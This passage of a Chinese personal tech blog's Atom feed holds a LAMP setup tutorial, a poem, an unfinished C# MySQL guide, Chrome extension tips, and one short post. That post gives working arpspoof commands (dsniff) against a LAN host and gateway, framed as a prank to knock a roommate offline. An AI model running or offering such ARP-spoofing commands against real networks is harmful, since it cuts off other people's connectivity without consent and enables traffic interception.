<li><p>更新系统,使用 yum update 更新系统软件(接下来选择 yes)</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#yum update</span></div></pre></td></tr></table></figure>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image002.gif" alt=""></p>
</li>
<li><p>安装 apache(现在叫 httpd)</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#yum install httpd</span></div></pre></td></tr></table></figure>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image003.gif" alt=""></p>
</li>
<li><p>开启 httpd 服务</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#systemctl start httpd</span></div></pre></td></tr></table></figure>
</li>
<li><p>防火墙添加 http 规则(–permanent 参数表示永久加入,重启依旧有效)</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#firewall-cmd --add-service=http –permanent</span></div></pre></td></tr></table></figure>
</li>
<li><p>重启防火墙(在 linux 下 修改相关配置几乎都要 restart或者 reload 否则都不生效,别配置半天没有 restart然后气急败坏 ¬_¬ 好吧 这是我 )</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#systemctl restart firewalld</span></div></pre></td></tr></table></figure>
</li>
<li><p>使用浏览器访问你服务器对应ip 如果出现下面画面则配置成功</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image004.gif" alt=""></p>
</li>
</ol>
<h2 id="二-配置-MySQL"><a href="#二-配置-MySQL" class="headerlink" title="(二) 配置 MySQL"></a>(二) 配置 MySQL</h2><ol>
<li><p>使用 yum install 命令安装 mariadb mariadb-server</p>
</li>
<li><blockquote>
<p>mariadb 是 mysql 的正统开 源分支</p>
</blockquote>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#yum install mariadb mariadb-server</span></div></pre></td></tr></table></figure>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image005.gif" alt=""></p>
</li>
<li><p>开启 mariadb 服务</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#systemctl start mariadb</span></div></pre></td></tr></table></figure>
</li>
<li><p>配置 mariadb 的用户名密码</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># mysql_secure_installation</span></div></pre></td></tr></table></figure>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image006.gif" alt=""></p>
<p> 是否设置账户密码</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image007.gif" alt=""></p>
<p> 设置密码</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image008.gif" alt="xshell"></p>
<p> 移出匿名账户</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image009.gif" alt=""></p>
<p> 禁止root远程登录</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image010.gif" alt=""></p>
<p> 移除测试数据库</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image011.gif" alt=""></p>
<p> 重新载入权限表(使配置生效)</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image012.gif" alt=""></p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image013.gif" alt=""></p>
</li>
</ol>
<ol>
<li><p>重启 mariadb 服务</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#systemctl restart mariadb</span></div></pre></td></tr></table></figure>
</li>
<li><p>测试连接数据库(-u 后面接用户名 注意不要加个空格)</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image014.gif" alt=""></p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#mysql -uroot -p</span></div></pre></td></tr></table></figure>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image015.gif" alt=""></p>
</li>
<li><p>测试 查询数据库</p>
</li>
<li><img src="/2017/07/14/从零开始搭建LAMP开发环境/image016.gif" alt=""></li>
</ol>
<h2 id="三-安装及配置-PHP"><a href="#三-安装及配置-PHP" class="headerlink" title="(三) 安装及配置 PHP"></a>(三) 安装及配置 PHP</h2><ol>
<li><p>安装 php 及扩展(如 xml mysql 等常用扩展)</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment"># yum install php php-mysql php-gd libjpeg* php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-bcmath php-mhash</span></div></pre></td></tr></table></figure>
</li>
<li><p>重启 apache 服务</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#systemctl restart httpd</span></div></pre></td></tr></table></figure>
</li>
<li><p>安装 vim (emacs 滚粗)创建 php 测试文件</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#yum install vim</span></div><div class="line"><span class="comment">#vim /var/www/html/index.php</span></div></pre></td></tr></table></figure>
</li>
<li><p>按下 i(插入模式)写下 hello world</p>
</li>
<li><p>按下 Esc 输入“:” +“wq”(保存退出)</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image018.gif" alt=""></p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image019.gif" alt=""></p>
</li>
<li><p>使用浏览器访问 ip 查看,成功效果图</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image020.gif" alt=""></p>
</li>
</ol>
<h2 id="四-配置-phpMyAdmin"><a href="#四-配置-phpMyAdmin" class="headerlink" title="(四) 配置 phpMyAdmin"></a>(四) 配置 phpMyAdmin</h2><ol>
<li><p>安装 phpmyadmin 及 php 扩展</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#yum install phpmyadmin php-mcrypt</span></div></pre></td></tr></table></figure>
</li>
<li><p>配置 phpmyadmin(默认只能·本地访问 所以我们得让他远程访问)</p>
</li>
<li><p>打开配置文件</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#vim /etc/httpd/conf.d/phpMyAdmin.conf</span></div></pre></td></tr></table></figure>
</li>
<li><p>按照如下修改(在配置文件 16-20 行 开启行数显示:在 vim 命令行下输入 set number)</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image021.gif" alt=""></p>
</li>
<li><p>重启 apache 服务器</p>
</li>
<li><p>用你的服务器 ip 加上 phpmyadmin 如:<a href="http://112.112.112.112/phpmyadmin" target="_blank" rel="external">http://112.112.112.112/phpmyadmin</a></p>
</li>
<li><p>输入刚刚配置 mariadb 得用户名及密码即可正常使用</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image022.gif" alt=""></p>
</li>
<li><p>输入刚刚配置mariadb 得用户名及密码即可正常使用</p>
<p> <img src="/2017/07/14/从零开始搭建LAMP开发环境/image023.gif" alt=""></p>
</li>
</ol>
]]></content>
<summary type="html">
<h1 id="一、名词解释"><a href="#一、名词解释" class="headerlink" title="一、名词解释"></a>一、名词解释</h1><p><strong>LAMP</strong></p>
<blockquote>
<p><strong>LAMP
</summary>
<category term="开发" scheme="https://shellfeel.github.io/categories/%E5%BC%80%E5%8F%91/"/>
<category term="LAMP" scheme="https://shellfeel.github.io/tags/LAMP/"/>
<category term="Linux" scheme="https://shellfeel.github.io/tags/Linux/"/>
</entry>
<entry>
<title>归来依然是少年</title>
<link href="https://shellfeel.github.io/2017/07/12/%E9%9A%8F%E7%AC%94/"/>
<id>https://shellfeel.github.io/2017/07/12/随笔/</id>
<published>2017-07-12T01:45:37.000Z</published>
<updated>2017-07-14T12:18:57.092Z</updated>
<content type="html"><![CDATA[<p>愿你年少无知有人引导</p>
<p>愿你历经沧桑仍怀渴望</p>
<p>愿你得到心安失去坦然</p>
<p>愿你爱得勇敢走得潇洒</p>
<p>愿你找得到理由感动,找得到肩膀依靠</p>
<p>愿你风雨里像个大人,阳光下仍是孩子 </p>
]]></content>
<summary type="html">
<p>愿你年少无知有人引导</p>
<p>愿你历经沧桑仍怀渴望</p>
<p>愿你得到心安失去坦然</p>
<p>愿你爱得勇敢走得潇洒</p>
<p>愿你找得到理由感动,找得到肩膀依靠</p>
<p>愿你风雨里像个大人,阳光下仍是孩子 </p>
</summary>
<category term="随笔" scheme="https://shellfeel.github.io/categories/%E9%9A%8F%E7%AC%94/"/>
<category term="鸡汤" scheme="https://shellfeel.github.io/tags/%E9%B8%A1%E6%B1%A4/"/>
</entry>
<entry>
<title>使用c#连接MySQL数据库</title>
<link href="https://shellfeel.github.io/2017/07/11/c-ConnectDb/"/>
<id>https://shellfeel.github.io/2017/07/11/c-ConnectDb/</id>
<published>2017-07-11T06:37:26.000Z</published>
<updated>2017-07-12T01:47:28.574Z</updated>
<content type="html"><![CDATA[<h2 id="1-下载安装MySQL或者xampp"><a href="#1-下载安装MySQL或者xampp" class="headerlink" title="1. 下载安装MySQL或者xampp"></a>1. 下载安装MySQL或者xampp</h2><blockquote>
<p>XAMPP是完全免费且易于安装的Apache发行版,其中包含MariaDB、PHP和Perl。XAMPP开放源码包的设置让安装和使用出奇容易。</p>
</blockquote>
<p>点击下载<a href="https://www.apachefriends.org/zh_cn/index.html" target="_blank" rel="external">xampp</a></p>
<blockquote>
<p>MySQL在过去由于性能高、成本低、可靠性好,已经成为最流行的开源数据库,因此被广泛地应用在Internet上的中小型网站中。随着MySQL的不断成熟,它也逐渐用于更多大规模网站和应用,比如维基百科、Google和Facebook等网站。非常流行的开源软件组合LAMP中的“M”指的就是MySQL。</p>
</blockquote>
<p>点击下载<a href="https://www.mysql.com/" target="_blank" rel="external">MySQL</a></p>
<h2 id="2-安装MySQL数据库连接驱动"><a href="#2-安装MySQL数据库连接驱动" class="headerlink" title="2. 安装MySQL数据库连接驱动"></a>2. 安装MySQL数据库连接驱动</h2><blockquote>
<p>连接数据库最重要是找到驱动程序,ODBC、JDBC是数据库连接的接口的标准,实现这些接口称为驱动程序。无论什么语言何种平台,都需要连接数据库都需要相应的驱动器。比如连接mysql数据库,Java就需要Java的连接器,.NET就需要.NET的连接器,像Ruby这类的脚本程序也需要相应的数据库连接包。</p>
</blockquote>
<p><a href="https://dev.mysql.com/downloads/file/?id=463758" target="_blank" rel="external">下载地址</a></p>
<h3 id="3-在Visual-Studio中添加对MySQL库的引用"><a href="#3-在Visual-Studio中添加对MySQL库的引用" class="headerlink" title="3. 在Visual Studio中添加对MySQL库的引用"></a>3. 在Visual Studio中添加对MySQL库的引用</h3><ul>
<li>在vs中选择引用 右键添加引用</li>
</ul>
<p><img src="/image/c-ConnectDb/Mysqlsrc.png" alt="Mysqlsrc"></p>
<ul>
<li>在弹出来的对话框中搜索Mysql。然后选择MySql.Data这个包</li>
</ul>
<p><img src="/image/c-ConnectDb/MysqlData.png" alt="MysqlDta"></p>
<ul>
<li>在源代码上using 这个包</li>
</ul>
<p><code>using MySql.Data.MySqlClient;</code></p>
<h2 id="4-打开xampp或者MySQL"><a href="#4-打开xampp或者MySQL" class="headerlink" title="4. 打开xampp或者MySQL"></a>4. 打开xampp或者MySQL</h2><p><img src="/image/c-ConnectDb/xampp.png" alt="xampp"></p>
<h2 id="5-创建测试数据库"><a href="#5-创建测试数据库" class="headerlink" title="5. 创建测试数据库"></a>5. 创建测试数据库</h2><ul>
<li></li>
</ul>
]]></content>
<summary type="html">
<h2 id="1-下载安装MySQL或者xampp"><a href="#1-下载安装MySQL或者xampp" class="headerlink" title="1. 下载安装MySQL或者xampp"></a>1. 下载安装MySQL或者xampp</h2><blockq
</summary>
<category term="c#" scheme="https://shellfeel.github.io/tags/c/"/>
<category term="mysql" scheme="https://shellfeel.github.io/tags/mysql/"/>
</entry>
<entry>
<title>震惊!一行命令让你室友上不了网</title>
<link href="https://shellfeel.github.io/2017/06/06/crackWifi/"/>
<id>https://shellfeel.github.io/2017/06/06/crackWifi/</id>
<published>2017-06-06T06:37:26.000Z</published>
<updated>2017-07-15T07:18:28.781Z</updated>
<content type="html"><![CDATA[<p>本实验是基于ubuntu系统,使用dsniff工具实现,kali下可以直接使用无需下载</p>
<h3 id="1-下载相应软件"><a href="#1-下载相应软件" class="headerlink" title="1. 下载相应软件"></a>1. 下载相应软件</h3><p><code>$sudo apt install dsniff</code></p>
<h3 id="2-查看自己的网卡"><a href="#2-查看自己的网卡" class="headerlink" title="2. 查看自己的网卡"></a>2. 查看自己的网卡</h3><p><code>#ifconfig</code>可以看到自己可用的网卡是wlp8s0,因为只有这张网卡分配了ip。</p>
<p><img src="/image/creackWifi/if.png" alt="ifconfig"></p>
<h3 id="3-然后在局域网中寻找一台目标机器"><a href="#3-然后在局域网中寻找一台目标机器" class="headerlink" title="3. 然后在局域网中寻找一台目标机器"></a>3. 然后在局域网中寻找一台目标机器</h3><p>以上都是准备工作,这里以192.168.1.107为例,下面的命令才是关键</p>
<p><code>$sudo arpspoof -i 网卡 -t 目标ip 网关</code></p>
<p><code>$sudo arpspoof -i wlp8s0 -t 192.168.1.107 192.168.1.1</code></p>
<p>效果:</p>
<p><img src="/image/creackWifi/arp.png" alt="arp"></p>
<p>现在你看看你攻击的电脑能不能上网~~</p>
]]></content>
<summary type="html">
<p>本实验是基于ubuntu系统,使用dsniff工具实现,kali下可以直接使用无需下载</p>
<h3 id="1-下载相应软件"><a href="#1-下载相应软件" class="headerlink" title="1. 下载相应软件"></a>1. 下载相应软件<
</summary>
<category term="安全" scheme="https://shellfeel.github.io/categories/%E5%AE%89%E5%85%A8/"/>
<category term="Security" scheme="https://shellfeel.github.io/tags/Security/"/>
</entry>
<entry>
<title>chrome相关扩展介绍</title>
<link href="https://shellfeel.github.io/2017/06/02/chrome-extension/"/>
<id>https://shellfeel.github.io/2017/06/02/chrome-extension/</id>
<published>2017-06-02T06:37:06.000Z</published>
<updated>2017-07-11T14:18:56.222Z</updated>
<content type="html"><![CDATA[<h2 id="一、前期准备"><a href="#一、前期准备" class="headerlink" title="一、前期准备"></a>一、前期准备</h2><p>首先你得能够科(fan)学(qiang)上网【新安全法开始实施,就不教大家如何科学上网啦】,注册一个Google账号,下载chrome浏览器然后登陆.</p>
<blockquote>
<p>妹子:为什么要用chrome浏览器?装逼吗?ji</p>
<p>我:因为chrome浏览器加载速度快,浏览界面简洁,各类变态拓展更是层出不穷!全平台通用,不管你是手机、windows、linux、mac全都可以共享数据,各处使用体验都是一致的,简直美滋滋~</p>
<p>妹子:哦 。</p>
</blockquote>
<h2 id="二、相关扩展推荐"><a href="#二、相关扩展推荐" class="headerlink" title="二、相关扩展推荐"></a>二、相关扩展推荐</h2><h4 id="1-Adblock-Plus"><a href="#1-Adblock-Plus" class="headerlink" title="1.Adblock Plus"></a>1.Adblock Plus</h4><p>这个扩展几乎是每一个浏览器扩展必装,具体就是:</p>
<p><strong>你没有安装这个扩展之前你的网页是这样的↓</strong></p>
<p><img src="/image/chrome-extension/ad.jpg" alt="eshi1"></p>
<blockquote>
<p>中奖 网游 美女视频 小额贷款 </p>
<p>妈哟!全是标题党点进去根本不是!</p>
</blockquote>
<p><strong>安装后是这样的↓</strong></p>
<p><img src="/image/chrome-extension/ad2.jpg" alt="安装后"></p>
<blockquote>
<p>我的世界终于清静了~</p>
</blockquote>
<hr>
<h4 id="2-Infinity"><a href="#2-Infinity" class="headerlink" title="2.Infinity"></a>2.Infinity</h4><p>默认的chrome浏览器实在太简洁啦,对于初次使用的同学肯定不习惯,书签,历史记录什么的都很难找,这个扩展可以将你的主页变得更漂亮使用,管理扩展、天气、便签什么的一应俱全,具体的自己体验才知道哦</p>
<p><img src="/image/chrome-extension/infinity.jpg" alt="infinity"></p>
<hr>
<h4 id="3-Unsplash-Instant"><a href="#3-Unsplash-Instant" class="headerlink" title="3. Unsplash Instant"></a>3. Unsplash Instant</h4><p>每次打开新标签页总是空荡荡的,明显不够逼格呀,这款扩展可以在每次打开新的标签页时自动刷新一些美图</p>
<blockquote>
<p>这些图片逼格高,足够美观,而且每张图片都已经由Google公司帮你付费购买啦,等于你用的是免费正版图片,以后做ppt、海报什么的都可以自己从这里找,随便用,不用担心版权</p>
</blockquote>
<p><img src="/image/chrome-extension/un.jpg" alt="un"></p>
<hr>
<h4 id="4-阅读模式"><a href="#4-阅读模式" class="headerlink" title="4.阅读模式"></a>4.阅读模式</h4><p>有的时候你在网页上看新闻或者一片帖子的时候,可是醒目的标题,巨丑的背景和莫名奇妙的推荐阅读,实在让人难以集中精神。阅读模式可以保留正文和插图,并配上合适的排版让你阅读体验翻倍(这个我没下,没图!)</p>
<hr>
<h4 id="5-网页截图-注释-amp-录屏"><a href="#5-网页截图-注释-amp-录屏" class="headerlink" title="5.网页截图:注释&录屏"></a>5.网页截图:注释&录屏</h4><p>现在的手机系统似乎走在了Pc的前面 什么夜间模式 ,截长图啊都非常好用,你想在PC上截个长图还真是特别麻烦,这款扩展就可以解决你的烦恼,详细看图。还支持图片编辑修改哦</p>
<p><img src="/image/chrome-extension/screen.jpg" alt="screen"></p>
<p>看下图吧,是不是和qq截图差不多</p>
<p><img src="/image/chrome-extension/screen2.jpg" alt="screen2"></p>
<blockquote>
<p>除了编辑截图外还可以编辑本地文件</p>
</blockquote>
<hr>
<h4 id="6-search-by-image"><a href="#6-search-by-image" class="headerlink" title="6. search by image"></a>6. search by image</h4><p>有时候想找一张图片或者想知道这个图片更多的信息,用关键字总是无法描述清楚</p>
<p>用这个扩展就可以很轻松的以图搜图啦</p>
<p>比如:我在某个网页看到了这个小姐姐( 好漂亮呀 (。•﹃•。) ),叫啥名啊</p>
<p><img src="/image/chrome-extension/cha.jpg" alt="cha"></p>
<p>这个时候我安装了这个扩展 在这个图片上右键选择刚刚安装的扩展,嘿 这么多小姐姐</p>
<p><img src="/image/chrome-extension/cha2.jpg" alt="cha2"></p>
<p>原来这个小姐姐叫茶理理 (<em>/ω\</em>)</p>
<h4 id="7-EditThisCookie"><a href="#7-EditThisCookie" class="headerlink" title="7.EditThisCookie"></a>7.EditThisCookie</h4><p>如名字所说,此扩展可以方便的直接编辑修改Cooie,此扩展对web开发人员和网络安全人员进行相关开发和调试工作</p>
<blockquote>
<p>可以导出、新增、修改、导入cookie,功能十分强大</p>
</blockquote>
<p><img src="/image/chrome-extension/cookie.jpg" alt="cookie"></p>
<h4 id="8-IP域国家国旗"><a href="#8-IP域国家国旗" class="headerlink" title="8.IP域国家国旗"></a>8.IP域国家国旗</h4><p>此扩展可以在url栏旁边显示所属国家国旗</p>
<p><img src="/image/chrome-extension/ipDomain.jpg" alt="ipDomain"></p>
<h4 id="9-IP-Address-and-Domain-Information"><a href="#9-IP-Address-and-Domain-Information" class="headerlink" title="9.IP Address and Domain Information"></a>9.IP Address and Domain Information</h4><p>此扩展可以查看 此ip对应的dns、A记录等信息</p>
<p><img src="/image/chrome-extension/ip.jpg" alt="ip"></p>
<h4 id="10-shodan"><a href="#10-shodan" class="headerlink" title="10.shodan"></a>10.shodan</h4><p>可以查看该网站对应服务器开放的端口的情况,渗透测试中可以有意外发现哦~~</p>
<p><img src="/image/chrome-extension/shodan.jpg" alt="shodan"></p>
<h4 id="11-Proxy-SwitchyOmega"><a href="#11-Proxy-SwitchyOmega" class="headerlink" title="11.Proxy SwitchyOmega"></a>11.Proxy SwitchyOmega</h4><p>这个是科学上网神器(其实就是个浏览器代理管理工具),配合shadowsocks简直美滋滋,同时配合burpsuite抓包设置好相应的 情景模式,只抓想抓的,不会抓错,非常方便</p>
<blockquote>
<p>支持云端同步,在线Pac功能</p>
</blockquote>
<p><img src="/image/chrome-extension/proxy.jpg" alt="proxy"></p>
<hr>
<p><img src="/image/chrome-extension/proxy2.jpg" alt="proxy2"></p>
<h4 id="12-JSON-Viewer"><a href="#12-JSON-Viewer" class="headerlink" title="12.JSON Viewer"></a>12.JSON Viewer</h4><p>做web开发的同学肯定和json打交道的日子不少,但是每次调试的时候 浏览器输出的json显示似乎不太友好↓</p>
<p><img src="/image/chrome-extension/json1.jpg" alt="json1"></p>
<p>这种让正常人调试开发会疯的!而有了这个扩展,可以自动美化缩进你的json ,like this ↓</p>
<p><img src="/image/chrome-extension/json2.jpg" alt="json2"></p>
<p>似乎感觉也是一件充满艺术的事情,显示上还可以自定义主题,发挥你的艺术才华!</p>
<h4 id="13-Google翻译"><a href="#13-Google翻译" class="headerlink" title="13.Google翻译"></a>13.Google翻译</h4><p>做开发或者作业的时候经常访问国外网站,往往又没有中文版,对于我们这种小学英语水平的人来说简直是灾难(特别是雷属性~~~2333 小黑一把),有了此扩展你可以选择全文翻译网页,或者选择部分单词右键翻译。google1的翻译还是靠的住的(个人觉得比有道什么的不知道高在哪里去了~)</p>
<p>这是翻译前↓</p>
<p><img src="/image/chrome-extension/trans1.jpg" alt="trans1"></p>
<p>翻译后↓</p>
<p><img src="/image/chrome-extension/trans2.jpg" alt="trans2"></p>
<p>当然你也可以查单词,只需要选择相应的单词右键即可↓</p>
<p><img src="/image/chrome-extension/trans3.jpg" alt="trans3"></p>
<h4 id="14-Checker-Plus-for-Gmai"><a href="#14-Checker-Plus-for-Gmai" class="headerlink" title="14.Checker Plus for Gmai"></a>14.Checker Plus for Gmai</h4><p>这个扩展可以直接在chrome上快捷的管理你的Gmail,不多说↓</p>
<p><img src="/image/chrome-extension/gmail.jpg" alt="gmail"></p>
<hr>
<blockquote>
<p>其实相关的扩展还有很多,在chrome应用商店等待你的发现,如果你发现了更好的别忘了给我们分享哦</p>
<p> ———————————————–计算机科技与应用协会———————————————————-</p>
</blockquote>
]]></content>
<summary type="html">
<h2 id="一、前期准备"><a href="#一、前期准备" class="headerlink" title="一、前期准备"></a>一、前期准备</h2><p>首先你得能够科(fan)学(qiang)上网【新安全法开始实施,就不教大家如何科学上网啦】,注册一个Goog
</summary>
<category term="chrome extension" scheme="https://shellfeel.github.io/tags/chrome-extension/"/>
</entry>
</feed>